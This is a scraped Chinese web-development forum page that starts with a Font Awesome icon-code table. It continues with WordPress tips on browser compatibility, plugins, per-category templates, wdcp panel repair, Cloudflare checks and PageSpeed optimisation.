.fa-volume-up \f028 .fa-css3 \f13c
.fa-qrcode \f029 .fa-anchor \f13d
.fa-barcode \f02a .fa-unlock-alt \f13e
.fa-tag \f02b .fa-bullseye \f140
.fa-tags \f02c .fa-ellipsis-h \f141
.fa-book \f02d .fa-ellipsis-v \f142
.fa-bookmark \f02e .fa-rss-square \f143
.fa-print \f02f .fa-play-circle \f144
.fa-camera \f030 .fa-ticket \f145
.fa-font \f031 .fa-minus-square \f146
.fa-bold \f032 .fa-minus-square-o \f147
.fa-italic \f033 .fa-level-up \f148
.fa-text-height \f034 .fa-level-down \f149
.fa-text-width \f035 .fa-check-square \f14a
.fa-align-left \f036 .fa-pencil-square \f14b
.fa-align-center \f037 .fa-external-link-square \f14c
.fa-align-right \f038 .fa-share-square \f14d
.fa-align-justify \f039 .fa-compass \f14e
.fa-list \f03a .fa-toggle-down \f150
.fa-dedent \f03b .fa-caret-square-o-down \f150
.fa-outdent \f03b .fa-toggle-up \f151
.fa-indent \f03c .fa-caret-square-o-up \f151
.fa-video-camera \f03d .fa-toggle-right \f152
.fa-photo \f03e .fa-caret-square-o-right \f152
.fa-image \f03e .fa-euro \f153
.fa-picture-o \f03e .fa-eur \f153
.fa-pencil \f040 .fa-gbp \f154
.fa-map-marker \f041 .fa-dollar \f155
.fa-adjust \f042 .fa-usd \f155
.fa-tint \f043 .fa-rupee \f156
.fa-edit \f044 .fa-inr \f156
.fa-pencil-square-o \f044 .fa-cny \f157
.fa-share-square-o \f045 .fa-rmb \f157
.fa-check-square-o \f046 .fa-yen \f157
.fa-arrows \f047 .fa-jpy \f157
.fa-step-backward \f048 .fa-ruble \f158
.fa-fast-backward \f049 .fa-rouble \f158
.fa-backward \f04a .fa-rub \f158
.fa-play \f04b .fa-won \f159
.fa-pause \f04c .fa-krw \f159
.fa-stop \f04d .fa-bitcoin \f15a
.fa-forward \f04e .fa-btc \f15a
.fa-fast-forward \f050 .fa-file \f15b
.fa-step-forward \f051 .fa-file-text \f15c
.fa-eject \f052 .fa-sort-alpha-asc \f15d
.fa-chevron-left \f053 .fa-sort-alpha-desc \f15e
.fa-chevron-right \f054 .fa-sort-amount-asc \f160
.fa-plus-circle \f055 .fa-sort-amount-desc \f161
.fa-minus-circle \f056 .fa-sort-numeric-asc \f162
.fa-times-circle \f057 .fa-sort-numeric-desc \f163
.fa-check-circle \f058 .fa-thumbs-up \f164
.fa-question-circle \f059 .fa-thumbs-down \f165
.fa-info-circle \f05a .fa-youtube-square \f166
.fa-crosshairs \f05b .fa-youtube \f167
.fa-times-circle-o \f05c .fa-xing \f168
.fa-check-circle-o \f05d .fa-xing-square \f169
.fa-ban \f05e .fa-youtube-play \f16a
.fa-arrow-left \f060 .fa-dropbox \f16b
.fa-arrow-right \f061 .fa-stack-overflow \f16c
.fa-arrow-up \f062 .fa-instagram \f16d
.fa-arrow-down \f063 .fa-flickr \f16e
.fa-mail-forward \f064 .fa-adn \f170
.fa-share \f064 .fa-bitbucket \f171
.fa-expand \f065 .fa-bitbucket-square \f172
.fa-compress \f066 .fa-tumblr \f173
.fa-plus \f067 .fa-tumblr-square \f174
.fa-minus \f068 .fa-long-arrow-down \f175
.fa-asterisk \f069 .fa-long-arrow-up \f176
.fa-exclamation-circle \f06a .fa-long-arrow-left \f177
.fa-gift \f06b .fa-long-arrow-right \f178
.fa-leaf \f06c .fa-apple \f179
.fa-fire \f06d .fa-windows \f17a
.fa-eye \f06e .fa-android \f17b
.fa-eye-slash \f070 .fa-linux \f17c
.fa-warning \f071 .fa-dribbble \f17d
.fa-exclamation-triangle \f071 .fa-skype \f17e
.fa-plane \f072 .fa-foursquare \f180
.fa-calendar \f073 .fa-trello \f181
.fa-random \f074 .fa-female \f182
.fa-comment \f075 .fa-male \f183
.fa-magnet \f076 .fa-gittip \f184
.fa-chevron-up \f077 .fa-sun-o \f185
.fa-chevron-down \f078 .fa-moon-o \f186
.fa-retweet \f079 .fa-archive \f187
.fa-shopping-cart \f07a .fa-bug \f188
.fa-folder \f07b .fa-vk \f189
.fa-folder-open \f07c .fa-weibo \f18a
.fa-arrows-v \f07d .fa-renren \f18b
.fa-arrows-h \f07e .fa-pagelines \f18c
.fa-bar-chart-o \f080 .fa-stack-exchange \f18d
.fa-bar-chart \f080 .fa-arrow-circle-o-right \f18e
.fa-twitter-square \f081 .fa-arrow-circle-o-left \f190
.fa-facebook-square \f082 .fa-toggle-left \f191
.fa-camera-retro \f083 .fa-caret-square-o-left \f191
.fa-key \f084 .fa-dot-circle-o \f192
.fa-gears \f085 .fa-wheelchair \f193
.fa-cogs \f085 .fa-vimeo-square \f194
.fa-comments \f086 .fa-turkish-lira \f195
.fa-thumbs-o-up \f087 .fa-try \f195
.fa-thumbs-o-down \f088 .fa-plus-square-o \f196
.fa-star-half \f089 .fa-space-shuttle \f197
.fa-heart-o \f08a .fa-slack \f198
.fa-sign-out \f08b .fa-envelope-square \f199
.fa-linkedin-square \f08c .fa-wordpress \f19a
.fa-thumb-tack \f08d .fa-openid \f19b
.fa-external-link \f08e .fa-institution \f19c
.fa-sign-in \f090 .fa-bank \f19c
.fa-trophy \f091 .fa-university \f19c
.fa-github-square \f092 .fa-mortar-board \f19d
.fa-upload \f093 .fa-graduation-cap \f19d
.fa-lemon-o \f094 .fa-yahoo \f19e
.fa-phone \f095 .fa-google \f1a0
.fa-square-o \f096 .fa-reddit \f1a1
.fa-bookmark-o \f097 .fa-reddit-square \f1a2
.fa-phone-square \f098 .fa-stumbleupon-circle \f1a3
.fa-twitter \f099 .fa-stumbleupon \f1a4
.fa-facebook \f09a .fa-delicious \f1a5
.fa-github \f09b .fa-digg \f1a6
.fa-unlock \f09c .fa-pied-piper \f1a7
.fa-credit-card \f09d .fa-pied-piper-alt \f1a8
.fa-rss \f09e .fa-drupal \f1a9
.fa-hdd-o \f0a0 .fa-joomla \f1aa
.fa-bullhorn \f0a1 .fa-language \f1ab
.fa-bell \f0f3 .fa-fax \f1ac
.fa-certificate \f0a3 .fa-building \f1ad
.fa-hand-o-right \f0a4 .fa-child \f1ae
.fa-hand-o-left \f0a5 .fa-paw \f1b0
.fa-hand-o-up \f0a6 .fa-spoon \f1b1
.fa-hand-o-down \f0a7 .fa-cube \f1b2
.fa-arrow-circle-left \f0a8 .fa-cubes \f1b3
.fa-arrow-circle-right \f0a9 .fa-behance \f1b4
.fa-arrow-circle-up \f0aa .fa-behance-square \f1b5
.fa-arrow-circle-down \f0ab .fa-steam \f1b6
.fa-globe \f0ac .fa-steam-square \f1b7
.fa-wrench \f0ad .fa-recycle \f1b8
.fa-tasks \f0ae .fa-automobile \f1b9
.fa-filter \f0b0 .fa-car \f1b9
.fa-briefcase \f0b1 .fa-cab \f1ba
.fa-arrows-alt \f0b2 .fa-taxi \f1ba
.fa-group \f0c0 .fa-tree \f1bb
.fa-users \f0c0 .fa-spotify \f1bc
.fa-chain \f0c1 .fa-deviantart \f1bd
.fa-link \f0c1 .fa-soundcloud \f1be
.fa-cloud \f0c2 .fa-database \f1c0
.fa-flask \f0c3 .fa-file-pdf-o \f1c1
.fa-cut \f0c4 .fa-file-word-o \f1c2
.fa-scissors \f0c4 .fa-file-excel-o \f1c3
.fa-copy \f0c5 .fa-file-powerpoint-o \f1c4
.fa-files-o \f0c5 .fa-file-photo-o \f1c5
.fa-paperclip \f0c6 .fa-file-picture-o \f1c5
.fa-save \f0c7 .fa-file-image-o \f1c5
.fa-floppy-o \f0c7 .fa-file-zip-o \f1c6
.fa-square \f0c8 .fa-file-archive-o \f1c6
.fa-navicon \f0c9 .fa-file-sound-o \f1c7
.fa-reorder \f0c9 .fa-file-audio-o \f1c7
.fa-bars \f0c9 .fa-file-movie-o \f1c8
.fa-list-ul \f0ca .fa-file-video-o \f1c8
.fa-list-ol \f0cb .fa-file-code-o \f1c9
.fa-strikethrough \f0cc .fa-vine \f1ca
.fa-underline \f0cd .fa-codepen \f1cb
.fa-table \f0ce .fa-jsfiddle \f1cc
.fa-magic \f0d0 .fa-life-bouy \f1cd
.fa-truck \f0d1 .fa-life-buoy \f1cd
.fa-pinterest \f0d2 .fa-life-saver \f1cd
.fa-pinterest-square \f0d3 .fa-support \f1cd
.fa-google-plus-square \f0d4 .fa-life-ring \f1cd
.fa-google-plus \f0d5 .fa-circle-o-notch \f1ce
.fa-money \f0d6 .fa-ra \f1d0
.fa-caret-down \f0d7 .fa-rebel \f1d0
.fa-caret-up \f0d8 .fa-ge \f1d1
.fa-caret-left \f0d9 .fa-empire \f1d1
.fa-caret-right \f0da .fa-git-square \f1d2
.fa-columns \f0db .fa-git \f1d3
.fa-unsorted \f0dc .fa-hacker-news \f1d4
.fa-sort \f0dc .fa-tencent-weibo \f1d5
.fa-sort-down \f0dd .fa-qq \f1d6
.fa-sort-desc \f0dd .fa-wechat \f1d7
.fa-sort-up \f0de .fa-weixin \f1d7
.fa-sort-asc \f0de .fa-send \f1d8
.fa-envelope \f0e0 .fa-paper-plane \f1d8
.fa-linkedin \f0e1 .fa-send-o \f1d9
.fa-rotate-left \f0e2 .fa-paper-plane-o \f1d9
.fa-undo \f0e2 .fa-history \f1da
.fa-legal \f0e3 .fa-circle-thin \f1db
.fa-gavel \f0e3 .fa-header \f1dc
.fa-dashboard \f0e4 .fa-paragraph \f1dd
.fa-tachometer \f0e4 .fa-sliders \f1de
.fa-comment-o \f0e5 .fa-share-alt \f1e0
.fa-comments-o \f0e6 .fa-share-alt-square \f1e1
.fa-flash \f0e7 .fa-bomb \f1e2
.fa-bolt \f0e7 .fa-soccer-ball-o \f1e3
.fa-sitemap \f0e8 .fa-futbol-o \f1e3
.fa-umbrella \f0e9 .fa-tty \f1e4
.fa-paste \f0ea .fa-binoculars \f1e5
.fa-clipboard \f0ea .fa-plug \f1e6
.fa-lightbulb-o \f0eb .fa-slideshare \f1e7
.fa-exchange \f0ec .fa-twitch \f1e8
.fa-cloud-download \f0ed .fa-yelp \f1e9
.fa-cloud-upload \f0ee .fa-newspaper-o \f1ea
.fa-user-md \f0f0 .fa-wifi \f1eb
.fa-stethoscope \f0f1 .fa-calculator \f1ec
.fa-suitcase \f0f2 .fa-paypal \f1ed
.fa-bell-o \f0a2 .fa-google-wallet \f1ee
.fa-coffee \f0f4 .fa-cc-visa \f1f0
.fa-cutlery \f0f5 .fa-cc-mastercard \f1f1
.fa-file-text-o \f0f6 .fa-cc-discover \f1f2
.fa-building-o \f0f7 .fa-cc-amex \f1f3
.fa-hospital-o \f0f8 .fa-cc-paypal \f1f4
.fa-ambulance \f0f9 .fa-cc-stripe \f1f5
.fa-medkit \f0fa .fa-bell-slash \f1f6
.fa-fighter-jet \f0fb .fa-bell-slash-o \f1f7
.fa-beer \f0fc .fa-trash \f1f8
.fa-h-square \f0fd .fa-copyright \f1f9
.fa-plus-square \f0fe .fa-at \f1fa
.fa-angle-double-left \f100 .fa-eyedropper \f1fb
.fa-angle-double-right \f101 .fa-paint-brush \f1fc
.fa-angle-double-up \f102 .fa-birthday-cake \f1fd
.fa-angle-double-down \f103 .fa-area-chart \f1fe
.fa-angle-left \f104 .fa-pie-chart \f200
.fa-angle-right \f105 .fa-line-chart \f201
.fa-angle-up \f106 .fa-lastfm \f202
.fa-angle-down \f107 .fa-lastfm-square \f203
.fa-desktop \f108 .fa-toggle-off \f204
.fa-laptop \f109 .fa-toggle-on \f205
.fa-tablet \f10a .fa-bicycle \f206
.fa-mobile-phone \f10b .fa-bus \f207
.fa-mobile \f10b .fa-ioxhost \f208
.fa-circle-o \f10c .fa-angellist \f209
.fa-quote-left \f10d .fa-cc \f20a
.fa-quote-right \f10e .fa-shekel \f20b
.fa-spinner \f110 .fa-sheqel \f20b
.fa-circle \f111 .fa-ils \f20b
.fa-mail-reply \f112 .fa-meanpath \f20c
.fa-reply \f112    
 
(.fa-mail-reply \f112                              .fa-meanpath \f20c             注意这样区分,一行是俩个图标)

360和遨游浏览器底下字体会被截取一半的兼容性问题

WordPresslena 发表了文章 • 3 个评论 • 519 次浏览 • 2018-02-07 13:46 • 来自相关话题

这俩个浏览器都有兼容模式和极速模式
​<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="renderer" content="ie-comp">
这两个代码就是让浏览器用兼容模式
不加这个浏览器会优先使用极速模式,所以造成兼容性问题
  查看全部

这俩个浏览器都有兼容模式和极速模式
​<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="renderer" content="ie-comp">
这两个代码就是让浏览器用兼容模式
不加这个浏览器会优先使用极速模式,所以造成兼容性问题
 

如何解决WordPress媒体库一直处于loading的状态

WordPressBob 发表了文章 • 1 个评论 • 743 次浏览 • 2018-02-05 11:34 • 来自相关话题

不知道大家有没有遇到过这种问题,就是当网站运营一段时间以后,需要进行定期的维护,有时候网站在上线一段时间以后会出现很多问题,比如在打开媒体库的时候,他会一直处于加载的状态,下面的页面一直显示不出来,如下图所示:




当出现这种情况的时候,我们应该考虑到应该是WordPress自身配置文件的问题,这个时候我们应该先去看下在主题目录下面的function.php文件是否是处于闭合的状态,如下图所示:




所以我们需要在function文件的结尾加上闭合符号“?>”,如下图所示:




添加好以后,媒体库就可以正常打开了。一般在小型网站里面,如果这里是处于没有闭合的状态是不会出现什么问题的,但是在大型的网站上面,因为功能和结构比较复杂,所以这里建议还是闭合的好,以免到时候出现什么问题,导致网站无法运行。 查看全部
不知道大家有没有遇到过这种问题,就是当网站运营一段时间以后,需要进行定期的维护,有时候网站在上线一段时间以后会出现很多问题,比如在打开媒体库的时候,他会一直处于加载的状态,下面的页面一直显示不出来,如下图所示:
QQ图片20180205113032.png

当出现这种情况的时候,我们应该考虑到应该是WordPress自身配置文件的问题,这个时候我们应该先去看下在主题目录下面的function.php文件是否是处于闭合的状态,如下图所示:
QQ图片20180205112029.png

所以我们需要在function文件的结尾加上闭合符号“?>”,如下图所示:
QQ图片20180205112554.png

添加好以后,媒体库就可以正常打开了。一般在小型网站里面,如果这里是处于没有闭合的状态是不会出现什么问题的,但是在大型的网站上面,因为功能和结构比较复杂,所以这里建议还是闭合的好,以免到时候出现什么问题,导致网站无法运行。

对wordpress插件NextGEN Gallery的一个愚见

WordPressLeo 发表了文章 • 1 个评论 • 535 次浏览 • 2018-01-30 16:48 • 来自相关话题

这俩天碰到一个项目,大量使用了NextGEN Gallery这个插件,我觉得这插件确实很好,使用后也感觉网站很美观,但是有一点问题需要使用这个插件的朋友注意“点击NextGEN Gallery这个插件的other options这个配置选项,你可以看到Backup the original images这个配置,如果你大量使用了这个插件,那么请不要点击yes进行备份,万一备份了,首先你的网站所占服务器空间会变大,其次又万一以后要对网站进行迁移,那么将会增加很大的迁移难度。” 查看全部
这俩天碰到一个项目,大量使用了NextGEN Gallery这个插件,我觉得这插件确实很好,使用后也感觉网站很美观,但是有一点问题需要使用这个插件的朋友注意“点击NextGEN Gallery这个插件的other options这个配置选项,你可以看到Backup the original images这个配置,如果你大量使用了这个插件,那么请不要点击yes进行备份,万一备份了,首先你的网站所占服务器空间会变大,其次又万一以后要对网站进行迁移,那么将会增加很大的迁移难度。”
2K224LULS{@9M816B[OZ9UH.png

WordPress搭建的国外知名网站

WordPressEast_Digi_Marketing 发表了文章 • 0 个评论 • 544 次浏览 • 2018-01-15 18:30 • 来自相关话题

接近30%的网站是基于WordPress的。

1. TechCrunch
2. The New Yorker
3. BBC America
4. Bloomberg Professional
5. The Official Star Wars Blog
6. Variety
7. Sony Music
8. MTV News
9. Beyonce
10. PlayStation.Blog
11. Sweden’s Official Website
12. Microsoft News Center
13. Boingo
14. Bata
15. cPanel Blog
16. Quartz
17. Usain Bolt
18. The Walt Disney Company
19. Time Inc.
20. Facebook Newsroom
21. The New York Times Company
22. Marks & Spencer for Business
23. The Official Rackspace Blog
24. ExpressJet Blog
25. Inside BlackBerry
26. Rotary Means Business – Rotary Club
27. The Rolling Stones
28. The Walking Dead – AMC
29. The Mozilla Blog
30. The Wall Street Journal Law Blog
31. Will Wheaton
32. Snoop Dogg
33. SAP News Center
34. Wolverine Worldwide
35. Reuters Blogs
36. Katy Perry
37. Vogue India
38. Mercedes-Benz
39. Staples Canda Blog
40. Harvard Gazette Onine
41. Pulse by Target 查看全部
接近30%的网站是基于WordPress的。


1. TechCrunch
2. The New Yorker
3. BBC America
4. Bloomberg Professional
5. The Official Star Wars Blog
6. Variety
7. Sony Music
8. MTV News
9. Beyonce
10. PlayStation.Blog
11. Sweden’s Official Website
12. Microsoft News Center
13. Boingo
14. Bata
15. cPanel Blog
16. Quartz
17. Usain Bolt
18. The Walt Disney Company
19. Time Inc.
20. Facebook Newsroom
21. The New York Times Company
22. Marks & Spencer for Business
23. The Official Rackspace Blog
24. ExpressJet Blog
25. Inside BlackBerry
26. Rotary Means Business – Rotary Club
27. The Rolling Stones
28. The Walking Dead – AMC
29. The Mozilla Blog
30. The Wall Street Journal Law Blog
31. Will Wheaton
32. Snoop Dogg
33. SAP News Center
34. Wolverine Worldwide
35. Reuters Blogs
36. Katy Perry
37. Vogue India
38. Mercedes-Benz
39. Staples Canda Blog
40. Harvard Gazette Onine
41. Pulse by Target


关于slide revolution 怎么做到移动端更好的效果

回复

WordPressEast_Digi_Marketing 回复了问题 • 2 人关注 • 2 个回复 • 370 次浏览 • 2018-10-22 16:45 • 来自相关话题

在页面中插入可以同步至MailChimp列表的表单

回复

WordPressEast_Digi_Marketing 回复了问题 • 2 人关注 • 1 个回复 • 361 次浏览 • 2018-10-16 15:04 • 来自相关话题

关于国内的视频网站

回复

WordPressEast_Digi_Marketing 回复了问题 • 2 人关注 • 2 个回复 • 335 次浏览 • 2018-09-28 15:03 • 来自相关话题

公司自己部门电脑网站都打的开,其他部门都打不开,缓存也清了,这是什么原因?有什么解决的方法吗?

回复

WordPressEast_Digi_Marketing 回复了问题 • 2 人关注 • 1 个回复 • 642 次浏览 • 2018-05-29 18:05 • 来自相关话题

ssl怎么安装?(从零开始)

回复

WordPressEast_Digi_Marketing 回复了问题 • 2 人关注 • 1 个回复 • 502 次浏览 • 2018-05-28 17:09 • 来自相关话题

使用cookie-free domains的方法优化网站性能

回复

WordPressLeo 发起了问题 • 2 人关注 • 0 个回复 • 858 次浏览 • 2018-03-27 11:56 • 来自相关话题

为什么cloudflare开启后网站有部分内容不显示,但是html里面内容又都有

回复

WordPresslena 回复了问题 • 2 人关注 • 2 个回复 • 789 次浏览 • 2018-01-30 15:24 • 来自相关话题

怎么将域名加载到CLOUDFLARE上面呢?

回复

WordPressEast_Digi_Marketing 回复了问题 • 3 人关注 • 2 个回复 • 497 次浏览 • 2018-01-29 15:32 • 来自相关话题

为WordPress分类添加模板选项

WordPressBob 发表了文章 • 1 个评论 • 7 次浏览 • 21 小时前 • 来自相关话题

如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
 
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
 
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容: <?php
/*
Template Name: 模板A
*/
?>以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:




当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。 // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}

// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}

// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}

// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}

$cat_template = new Select_Category_Template(); 查看全部
微信图片_20190423115644.png

如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
 
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
 
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容:
    <?php
/*
Template Name: 模板A
*/
?>
以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:
微信图片_20190423120627.png

当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。
    // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}

// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}

// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}

// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}

$cat_template = new Select_Category_Template();

如何实现先发送邮件,然后才能下载文件

WordPressLeo 发表了文章 • 1 个评论 • 19 次浏览 • 5 天前 • 来自相关话题

首先安装一个contact form 7插件,然后安装Contact Form 7 Controls插件,如下图设置





利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
 
之前试过Contact Form 7  +  Download Monitor  +   Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
 
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。 查看全部

1555570692(1).jpg
首先安装一个contact form 7插件,然后安装Contact Form 7 Controls插件,如下图设置

1555570806(1).jpg

利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
 
之前试过Contact Form 7  +  Download Monitor  +   Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
 
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。

推荐一款newsletter弹窗插件newsletter popup

WordPressLeo 发表了文章 • 1 个评论 • 151 次浏览 • 2019-02-14 14:50 • 来自相关话题

即装即用,很方便




有很多现成的框架。
 
具体效果如下图:




 
即装即用,很方便
1.png

有很多现成的框架。
 
具体效果如下图:
2.png

 

wdcp版本升级后,无法打开,解决办法

Linux运维Leo 发表了文章 • 1 个评论 • 150 次浏览 • 2019-01-31 09:24 • 来自相关话题

wdcp在登录后的首页,可以一键更新版本,但是很多情况下会出现之后无法打开wdcp的情况,这时候我们可以用SSH登录终端,然后执行下面的命令即可
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
 
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied

意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重 查看全部
wdcp在登录后的首页,可以一键更新版本,但是很多情况下会出现之后无法打开wdcp的情况,这时候我们可以用SSH登录终端,然后执行下面的命令即可
sh /www/wdlinux/wdcp/shell/cr7.sh && service wdcp restart
 
对于有些系统,可能安装了其它的加固软件或加固设置,可能会执行不成功,导致如下的错误提示
cp: error writing ‘/etc/rc.d/init.d/wdcp’: Permission denied
cp: failed to extend ‘/etc/rc.d/init.d/wdcp’: Permission denied

意思是这个文件权限拒绝执行,请先检查自己的环境或做过的设置,然后修改下这个文件的权限,然后再执行一次上述脚本即可
不要乱执行777,否则,后果很危险,也可能很严重

项目添加相关产品以及如何查看是否开cloudflare

WordPresswendy 发表了文章 • 1 个评论 • 193 次浏览 • 2019-01-22 09:21 • 来自相关话题

1.添加相关产品字段
1.后台设置:





 
2.代码设置:





上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
 
3.产品后台设置:





 
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping





可以查看到为104开头,是为开启cloud flare的IP段
 
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看










 
像上述工具还有whois
 
 

 
 

  查看全部
1.添加相关产品字段
1.后台设置:

1.1_.png

 
2.代码设置:

1.2_.png

上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
 
3.产品后台设置:

1.3_.png

 
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping

2.1_.png

可以查看到为104开头,是为开启cloud flare的IP段
 
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看

2.2_.1_.png


2.2_.2_.png

 
像上述工具还有whois
 
 

 
 

 

WordPress站点优化突破Google PageSpeed Insights瓶颈喜提满分

Google SEOOwen 发表了文章 • 1 个评论 • 281 次浏览 • 2019-01-17 08:56 • 来自相关话题

虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:









这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。




就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。














然后就是由wordpress后台插件WPBakery建造的静态页面




就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:









  查看全部
虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
图片1.png


